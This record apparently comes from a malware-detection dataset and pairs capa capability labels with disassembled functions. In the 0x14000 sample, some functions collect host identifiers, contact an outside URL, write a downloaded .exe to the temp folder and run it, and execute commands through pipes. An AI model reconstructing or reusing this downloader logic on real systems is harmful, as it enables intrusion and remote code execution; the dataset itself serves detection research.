joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180011b48
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, rcx
mov rcx, qword [rcx + 0x40]
mov rbx, r8
call fcn.18001e7ac
mov rsi, rax
test rax, rax
je 0x180011bc4
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDlgCtrlID]
mov edi, eax
test rbx, rbx
je 0x180011bbf
cmp dword [rbx], 0x40
jb 0x180011bbf
mov rcx, qword [rbp + 0x40]
or dword [rbx + 4], 1
or qword [rbx + 0x30], 0xffffffffffffffff
mov qword [rbx + 8], rcx
xor r9d, r9d
xor r8d, r8d
mov edx, 0x87
mov rcx, rsi
mov qword [rbx + 0x10], rsi
call qword [sym.imp.USER32.dll_SendMessageA]
bt rax, 0xd
jb 0x180011bbf
or dword [rbx + 4], 0x80000002
mov rax, rdi
jmp 0x180011bc8
or rax, 0xffffffffffffffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x180017ff0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x20
xor edi, edi
xor ebx, ebx
mov rsi, rdx
mov rbp, rcx
test rdx, rdx
je 0x180018058
call fcn.180018f60
mov r8d, pe_nt_image_headers64
mov rdx, rsi
mov r12, qword [rax + 0x18]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FindResourceA]
test rax, rax
je 0x180018058
mov rdx, rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
test rax, rax
je 0x18001807a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
mov rdx, rdi
mov rcx, rbp
call fcn.180017a08
mov esi, eax
test rdi, rdi
je 0x180018078
test rbx, rbx
je 0x180018078
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r12
ret

Function at 0x1800257f4
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x180025668
Function at 0x1800261a7
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x18004b2a0]
jne 0x1800215aa
rol rcx, 0x10
test cx, 0xffff
jne 0x1800215a6
repz ret
ror rcx, 0x10
jmp 0x180026100
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x180050710]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x180050808]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x180026185
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x180050710]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x1800261a7
mov rax, qword [rsp + 0x88]
mov qword [0x180050808], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1800507a8], rax
mov rax, qword [0x180050808]
mov qword [0x180050680], rax
mov rax, qword [rsp + 0x90]
mov qword [0x180050790], rax
mov dword [0x180050670], 0xc0000409
mov dword [0x180050674], 1
mov rax, qword [0x18004b2a0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x18004b2a8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x180050708], eax
mov ecx, 1
call fcn.18002f9ac
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x18003ee08]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x180050708], 0
jne 0x18002622e
mov ecx, 1
call fcn.18002f9ac
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x1800312e4
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.180026384
xor ebx, ebx
mov rdi, rax
cmp qword [0x180051460], rbx
jne 0x1800313ea
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x1800314bf
lea rdx, [0x180040998]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1800314bf
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, [0x180040988]
mov rcx, rsi
mov qword [0x180051460], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, [0x180040970]
mov rcx, rsi
mov qword [0x180051468], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x180051470], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x180051480], rax
test rax, rax
je 0x1800313e1
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x180051478], rax
jmp 0x1800313f1
mov rax, qword [0x180051478]
jmp 0x1800313f8
mov rax, qword [0x180051478]
mov r11, qword [0x180051480]
cmp rax, rdi
je 0x180031460
cmp r11, rdi
je 0x180031460
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x180051480]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x180031460
test rax, rax
je 0x180031460
call rsi
test rax, rax
je 0x18003145a
lea rcx, [rsp + 0x88]
mov r9d, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x18003145a
test byte [rsp + 0x38], 1
jne 0x180031460
bts ebp, 0x15
jmp 0x18003149e
mov rcx, qword [0x180051468]
cmp rcx, rdi
je 0x18003149e
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x18003149e
call rax
mov rbx, rax
test rax, rax
je 0x18003149e
mov rcx, qword [0x180051470]
cmp rcx, rdi
je 0x18003149e
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x18003149e
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x180051460]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x1800314bf
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x1800314c1
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x14000103c
Capabilities:
Get common file path
Get disk information

Disassembly:
jmp 0x140001044
mov qword [rsp + 0x18], rbx
push rbp
lea rbp, [rsp - 0x2a0]
sub rsp, 0x3a0
mov rax, qword gs:[0x30]
lea rdx, section..text
xor ecx, ecx
mov qword [0x14000c0c8], rax
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
lea rcx, [rsp + 0x40]
mov qword [0x14000c0c0], rax
call fcn.1400012d0
mov edx, 0x104
mov byte [rbp - 0x80], 0
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
and dword [rsp + 0x38], 0
lea r9, [rbp + 0x2b0]
and qword [rsp + 0x30], 0
lea rcx, [rbp - 0x80]
and qword [rsp + 0x28], 0
xor r8d, r8d
and qword [rsp + 0x20], 0
xor edx, edx
and dword [rbp + 0x2b0], 0
mov byte [rbp - 0x7d], 0
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
lea rdx, [0x1400083a4]
lea rcx, [rsp + 0x40]
call main
mov r8d, dword [rbp + 0x2b0]
lea rdx, [0x1400083a8]
lea rcx, [rsp + 0x40]
call fcn.140001384
mov eax, 0x30
xor r9d, r9d
mov word [rbp + 0x90], ax
xor r8d, r8d
lea rax, [rbp + 0x90]
mov edx, 0x801a
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x14000115f
lea r8, [rsp + 0x50]
xor edx, edx
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
test eax, eax
je 0x14000115f
mov r9d, dword [rsp + 0x54]
lea rdx, str._appdata_creation_time_:__08X_08X__
mov r8d, dword [rsp + 0x58]
lea rcx, [rsp + 0x40]
call fcn.140001384
lea rdx, str._version_:_
lea rcx, [rsp + 0x40]
call main
lea rdx, str.Vy1t
lea rcx, [rsp + 0x40]
call main
lea rdx, [0x14000843c]
lea rcx, [rsp + 0x40]
call main
lea rcx, [rsp + 0x40]
call fcn.14000221c
lea rbx, [0x140008444]
mov rdx, rbx
lea rcx, [rsp + 0x40]
call main
lea rcx, [rsp + 0x40]
call fcn.14000349c
mov rdx, rbx
lea rcx, [rsp + 0x40]
call main
lea rcx, [rsp + 0x40]
call fcn.140004714
mov rdx, rbx
lea rcx, [rsp + 0x40]
call main
lea rcx, [rsp + 0x40]
call fcn.1400051b8
mov rdx, rbx
lea rcx, [rsp + 0x40]
call main
lea rcx, [rsp + 0x40]
call fcn.140005bd4
mov rdx, rbx
lea rcx, [rsp + 0x40]
call main
lea rcx, [rsp + 0x40]
call fcn.1400055f4
lea rdx, [0x140008448]
lea rcx, [rsp + 0x40]
call main
mov rcx, qword [rsp + 0x48]
lea rdx, [rbp + 0x2b8]
and qword [rbp + 0x2b8], 0
call fcn.140006638
mov r8d, dword [rbp + 0x2b8]
lea rcx, str.https:__ca_ferrari_club.com_analytics_script.php
mov rdx, rax
call fcn.140001b54
lea rcx, [rsp + 0x40]
call fcn.1400012c4
mov rcx, qword [0x14000c0c0]
call qword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
mov rbx, qword [rsp + 0x3c0]
xor eax, eax
add rsp, 0x3a0
pop rbp
ret
Function at 0x140001044
Capabilities:
Get common file path
Get disk information

Disassembly:
jmp 0x140001044
mov qword [rsp + 0x18], rbx
push rbp
lea rbp, [rsp - 0x2a0]
sub rsp, 0x3a0
mov rax, qword gs:[0x30]
lea rdx, section..text
xor ecx, ecx
mov qword [0x14000c0c8], rax
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
lea rcx, [rsp + 0x40]
mov qword [0x14000c0c0], rax
call fcn.1400012d0
mov edx, 0x104
mov byte [rbp - 0x80], 0
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
and dword [rsp + 0x38], 0
lea r9, [rbp + 0x2b0]
and qword [rsp + 0x30], 0
lea rcx, [rbp - 0x80]
and qword [rsp + 0x28], 0
xor r8d, r8d
and qword [rsp + 0x20], 0
xor edx, edx
and dword [rbp + 0x2b0], 0
mov byte [rbp - 0x7d], 0
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
lea rdx, [0x1400083a4]
lea rcx, [rsp + 0x40]
call main
mov r8d, dword [rbp + 0x2b0]
lea rdx, [0x1400083a8]
lea rcx, [rsp + 0x40]
call fcn.140001384
mov eax, 0x30
xor r9d, r9d
mov word [rbp + 0x90], ax
xor r8d, r8d
lea rax, [rbp + 0x90]
mov edx, 0x801a
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x14000115f
lea r8, [rsp + 0x50]
xor edx, edx
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
test eax, eax
je 0x14000115f
mov r9d, dword [rsp + 0x54]
lea rdx, str._appdata_creation_time_:__08X_08X__
mov r8d, dword [rsp + 0x58]
lea rcx, [rsp + 0x40]
call fcn.140001384
lea rdx, str._version_:_
lea rcx, [rsp + 0x40]
call main
lea rdx, str.Vy1t
lea rcx, [rsp + 0x40]
call main
lea rdx, [0x14000843c]
lea rcx, [rsp + 0x40]
call main
lea rcx, [rsp + 0x40]
call fcn.14000221c
lea rbx, [0x140008444]
mov rdx, rbx
lea rcx, [rsp + 0x40]
call main
lea rcx, [rsp + 0x40]
call fcn.14000349c
mov rdx, rbx
lea rcx, [rsp + 0x40]
call main
lea rcx, [rsp + 0x40]
call fcn.140004714
mov rdx, rbx
lea rcx, [rsp + 0x40]
call main
lea rcx, [rsp + 0x40]
call fcn.1400051b8
mov rdx, rbx
lea rcx, [rsp + 0x40]
call main
lea rcx, [rsp + 0x40]
call fcn.140005bd4
mov rdx, rbx
lea rcx, [rsp + 0x40]
call main
lea rcx, [rsp + 0x40]
call fcn.1400055f4
lea rdx, [0x140008448]
lea rcx, [rsp + 0x40]
call main
mov rcx, qword [rsp + 0x48]
lea rdx, [rbp + 0x2b8]
and qword [rbp + 0x2b8], 0
call fcn.140006638
mov r8d, dword [rbp + 0x2b8]
lea rcx, str.https:__ca_ferrari_club.com_analytics_script.php
mov rdx, rax
call fcn.140001b54
lea rcx, [rsp + 0x40]
call fcn.1400012c4
mov rcx, qword [0x14000c0c0]
call qword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
mov rbx, qword [rsp + 0x3c0]
xor eax, eax
add rsp, 0x3a0
pop rbp
ret

Function at 0x140001410
Capabilities:
Reference http user-agent string

Disassembly:
mov rax, rsp
sub rsp, 0x228
lea r8, [rax + 8]
mov dword [rax + 8], 0x200
lea rdx, [rsp + 0x20]
xor ecx, ecx
call sub.urlmon.dll_ObtainUserAgentString
test eax, eax
jns 0x140001439
xor eax, eax
jmp 0x140001443
lea rcx, [rsp + 0x20]
call fcn.140003840
add rsp, 0x228
ret
Function at 0x14000144c
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x150]
sub rsp, 0x250
and qword [rbp + 0x180], 0
lea r8, [rbp + 0x180]
movsxd rdx, edx
call fcn.140004d64
lea rdx, [rsp + 0x40]
mov ecx, 0x104
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rcx, [rbp + 0x188]
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov r8d, dword [rbp + 0x188]
lea rdx, str._08X.exe
lea rcx, [rbp + 0x50]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rdx, [rbp + 0x50]
lea rcx, [rsp + 0x40]
call fcn.140003934
and qword [rsp + 0x30], 0
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rcx, qword [rbp + 0x180]
xor ebx, ebx
and dword [rbp + 0x178], ebx
mov rdi, rax
xor edx, edx
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x178]
sub ecx, ebx
add rdx, rsi
mov r8d, ecx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140001536
add ebx, dword [rbp + 0x178]
mov rcx, qword [rbp + 0x180]
mov edx, ebx
cmp rdx, rcx
jb 0x140001500
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x28], 1
lea r8, [rsp + 0x40]
and qword [rsp + 0x20], 0
lea rdx, str.open
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rbx, qword [rsp + 0x270]
add rsp, 0x250
pop rdi
pop rsi
pop rbp
ret

Function at 0x140001578
Capabilities:
Set registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rsi
push rdi
sub rsp, 0x50
xor esi, esi
lea rax, [r11 + 0x10]
mov qword [r11 - 0x18], rsi
lea rdx, str.SOFTWAREMicrosoftInternet_ExplorerMain
mov qword [r11 - 0x20], rax
xor r9d, r9d
mov qword [r11 - 0x28], rsi
xor r8d, r8d
mov dword [rsp + 0x28], 0xf003f
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x20], esi
mov qword [r11 + 0x10], rsi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x1400015cc
xor al, al
jmp 0x140001613
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x60]
mov edi, 1
lea rdx, str.DisableFirstRunCustomize
xor r8d, r8d
mov dword [rsp + 0x60], edi
lea r9d, [rdi + 3]
mov dword [rsp + 0x28], r9d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x68]
test eax, eax
movzx ebx, sil
cmove ebx, edi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
Function at 0x140001624
Capabilities:
Initialize iwebbrowser2

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0x90
movsxd rbx, r8d
mov rsi, rdx
mov r14, rcx
xor dil, dil
call fcn.140001578
mov edx, 6
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
lea rcx, [rbp + 0x2f]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
and qword [rbp - 0x19], 0
lea rax, [rbp - 0x19]
xor edx, edx
mov qword [rsp + 0x20], rax
lea r9, [0x14000aad8]
lea rcx, [0x14000aae8]
lea r8d, [rdx + 0x15]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x140001849
mov rcx, r14
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ecx, 0x11
mov r8d, ebx
mov r14, rax
xor edx, edx
mov eax, 0x2011
mov word [rbp + 0x17], ax
call qword [sym.imp.OLEAUT32.dll_SafeArrayCopyData]
and qword [rbp + 7], 0
lea rdx, [rbp + 7]
mov rcx, rax
mov qword [rbp + 0x1f], rax
call qword [sym.imp.OLEAUT32.dll_SafeArrayUnaccessData]
mov rcx, qword [rbp + 7]
mov r8, rbx
mov rdx, rsi
call fcn.140001c74
mov rcx, qword [rbp + 0x1f]
call qword [sym.imp.OLEAUT32.dll_SafeArrayGetElement]
mov rcx, qword [rbp - 0x19]
lea rdx, [rbp + 0x2f]
mov qword [rsp + 0x28], rdx
lea r9, [rbp + 0x2f]
lea rdx, [rbp + 0x17]
mov qword [rsp + 0x20], rdx
lea r8, [rbp + 0x2f]
mov rax, qword [rcx]
mov rdx, r14
call qword [rax + 0x58]
test eax, eax
js 0x14000182c
jmp 0x140001721
cmp dword [rbp + 0x7f], 4
je 0x14000173b
mov rcx, qword [rbp - 0x19]
lea rdx, [rbp + 0x7f]
mov rax, qword [rcx]
call qword [rax + 0x1c0]
test eax, eax
jns 0x14000171b
jmp 0x14000182c
mov rcx, qword [rbp - 0x19]
lea rdx, [rbp - 1]
and qword [rbp - 1], 0
mov rax, qword [rcx]
call qword [rax + 0x90]
test eax, eax
js 0x14000182c
mov rcx, qword [rbp - 1]
test rcx, rcx
je 0x14000182c
and qword [rbp + 0xf], 0
lea r8, [rbp + 0xf]
mov rax, qword [rcx]
lea rdx, [0x14000aaf8]
call qword [rax]
test eax, eax
js 0x140001822
mov rcx, qword [rbp + 0xf]
lea rdx, [rbp - 9]
and qword [rbp - 9], 0
mov rax, qword [rcx]
call qword [rax + 0x48]
test eax, eax
js 0x140001822
mov rcx, qword [rbp - 9]
lea rdx, [rbp - 0x11]
and qword [rbp - 0x11], 0
mov rax, qword [rcx]
call qword [rax + 0x1d0]
mov rcx, qword [rbp - 0x11]
lea rdx, [0x140008520]
call fcn.140003cb4
test rax, rax
je 0x140001818
mov rcx, qword [rbp - 0x11]
lea rdx, [0x140008548]
mov dil, 1
call fcn.140003cb4
test rax, rax
je 0x140001818
lea rdx, [0x14000855c]
mov rcx, rax
call fcn.140003cb4
lea rdx, [0x140008560]
lea rbx, [rax + 2]
mov rcx, rbx
call fcn.140003cb4
sub rax, rbx
sar rax, 1
cmp eax, 0x20
jle 0x140001818
mov edx, eax
mov rcx, rbx
call fcn.14000144c
mov rcx, qword [rbp - 9]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 1]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x19]
mov rdx, qword [rcx]
call qword [rdx + 0x70]
mov rcx, r14
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rbp - 0x19]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
lea r11, [rsp + 0x90]
mov al, dil
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x140001e6c
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov rsi, rcx
mov rdi, qword [rax + 0x18]
add rdi, 0x10
mov rbx, qword [rdi + 0x10]
jmp 0x140001ea9
mov rcx, qword [rbx + 0x60]
mov rdx, rsi
call fcn.140003bc8
test al, al
jne 0x140001ec4
mov rbx, qword [rbx + 0x10]
sub rbx, 0x10
cmp rbx, rdi
jne 0x140001e95
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rax, rbx
jmp 0x140001eb4
Function at 0x140003d24
Capabilities:
Create pipe
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0x100
mov rbx, r8
mov r14, rdx
mov rsi, rcx
mov edi, reloc.OLEAUT32.dll_SafeArrayGetElement
mov r8d, edi
lea rcx, [rbp - 0x61]
xor edx, edx
call fcn.140001b9c
and qword [rbp + 0x6f], 0
lea r8, [rbp - 0x61]
xor r9d, r9d
mov dword [rbp - 0x61], edi
lea rdx, [rbp + 0x6f]
mov dword [rbp - 0x51], 1
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x140003daf
lea rdx, str._methodError_:_CreatePipe__
mov rcx, rsi
call main
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._lastError_:__08X__
mov rcx, rsi
mov r8d, eax
call fcn.140001384
xor eax, eax
jmp 0x140003ea9
and qword [rbp + 0x7f], 0
lea rcx, [r14 + 0x28]
xor r9d, r9d
lea r8, [rbp - 0x61]
lea rdx, [rbp + 0x7f]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x140003d81
and qword [rbp - 0x69], 0
lea rdx, [r14 + 0x50]
xor r9d, r9d
lea r8, [rbp - 0x61]
lea rcx, [rbp - 0x69]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x140003d81
mov r8, rdi
lea rcx, [rbp - 0x49]
xor edx, edx
call fcn.140001b9c
mov edi, 0x68
lea rcx, [rbp - 0x29]
mov r8d, edi
xor edx, edx
call fcn.140001b9c
mov rax, qword [rbp + 0x6f]
mov rcx, rbx
mov qword [rbp + 0x2f], rax
mov rax, qword [rbp + 0x7f]
mov qword [rbp + 0x37], rax
mov rax, qword [rbp - 0x69]
mov qword [rbp + 0x27], rax
mov dword [rbp - 0x29], edi
mov dword [rbp + 0x13], 0x100
call fcn.140003b4c
mov rdi, rax
xor r9d, r9d
lea rax, [rbp - 0x49]
xor r8d, r8d
mov qword [rsp + 0x48], rax
mov rdx, rdi
lea rax, [rbp - 0x29]
xor ecx, ecx
mov qword [rsp + 0x40], rax
and qword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000200
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, rdi
mov ebx, eax
call fcn.140001bfc
test ebx, ebx
jne 0x140003e92
lea rdx, str._methodError_:_CreateProcessW__
jmp 0x140003d88
mov rcx, qword [rbp - 0x41]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x49]
mov eax, 1
mov qword [r14 + 0x58], rcx
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x140003ec4
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xa0
mov rsi, rcx
mov rdi, rdx
lea rcx, [rax + 8]
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov edx, dword [rsp + 0xd0]
lea rcx, [rsp + 0x20]
call fcn.14000466c
mov edx, dword [rsp + 0xd4]
mov rcx, rax
call fcn.14000466c
mov edx, dword [rsp + 0xd0]
mov rcx, rax
call fcn.14000466c
lea rcx, [rsp + 0xd0]
mov r14, rax
call fcn.1400046e4
mov r13d, eax
mov rcx, rdi
lea rax, [rsp + 0x20]
sub r14, rax
call fcn.140001ce0
lea rcx, [rax + 0x100]
call fcn.140001c24
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call fcn.140003984
lea rdx, str.__echo
mov rcx, rax
call fcn.140003984
lea rdx, [rsp + 0x20]
mov rcx, rax
call fcn.140003984
lea rdx, [0x14000957c]
mov rcx, rax
call fcn.140003984
mov rcx, qword [rsi + 0x50]
sub eax, ebx
mov r8d, eax
xor r9d, r9d
mov rdx, rbx
call fcn.1400043d0
mov rcx, rbx
call fcn.140001bfc
xor r12d, r12d
mov rcx, qword [rsi]
lea rbp, [rsi + 8]
mov r15, qword [rsi + 0x18]
test rcx, rcx
je 0x140003fc9
mov rdx, rbp
call fcn.140004340
test eax, eax
je 0x140004095
mov rdi, qword [rsi + 0x18]
cmp rdi, r15
je 0x14000402c
cmp rdi, r14
jb 0x14000402c
cmp r15, r14
mov rbx, r14
cmovae rbx, r15
xor r15d, r15d
sub rdi, rbx
sub rbx, r14
add rbx, qword [rbp]
test rdi, rdi
je 0x140004022
mov r8d, r14d
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.1400039a0
test al, al
je 0x140004014
inc r12d
cmp r12d, 2
jge 0x1400040b8
inc r15d
inc rbx
movsxd rax, r15d
cmp rax, rdi
jb 0x140003ff3
cmp r12d, 2
jge 0x1400040b8
mov rcx, qword [rsi + 0x28]
test rcx, rcx
je 0x140004042
lea rdx, [rsi + 0x30]
call fcn.140004340
test eax, eax
je 0x140004095
mov rcx, qword [rsi + 0x58]
mov edx, 0x64
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x140004095
lea rcx, [rsp + 0xd0]
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
cmp dword [rsi + 0x64], 0
je 0x140003fa9
lea rcx, [rsp + 0xd0]
call fcn.1400046e4
sub eax, r13d
cmp eax, dword [rsi + 0x64]
jbe 0x140003fa9
mov rcx, qword [rsi + 0x58]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor al, al
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov rcx, qword [rsi + 0x58]
mov edx, 0xc8
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x140004095
mov rcx, qword [rsi]
test rcx, rcx
je 0x1400040e2
mov rdx, rbp
call fcn.140004340
test eax, eax
je 0x140004095
mov rcx, qword [rsi + 0x28]
test rcx, rcx
je 0x1400040f8
lea rdx, [rsi + 0x30]
call fcn.140004340
test eax, eax
je 0x140004095
mov rcx, qword [rsi + 0x58]
lea rdx, [rsi + 0x60]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x140004113
cmp dword [rsi + 0x60], 0x103
jne 0x140004095
mov al, 1
jmp 0x140004097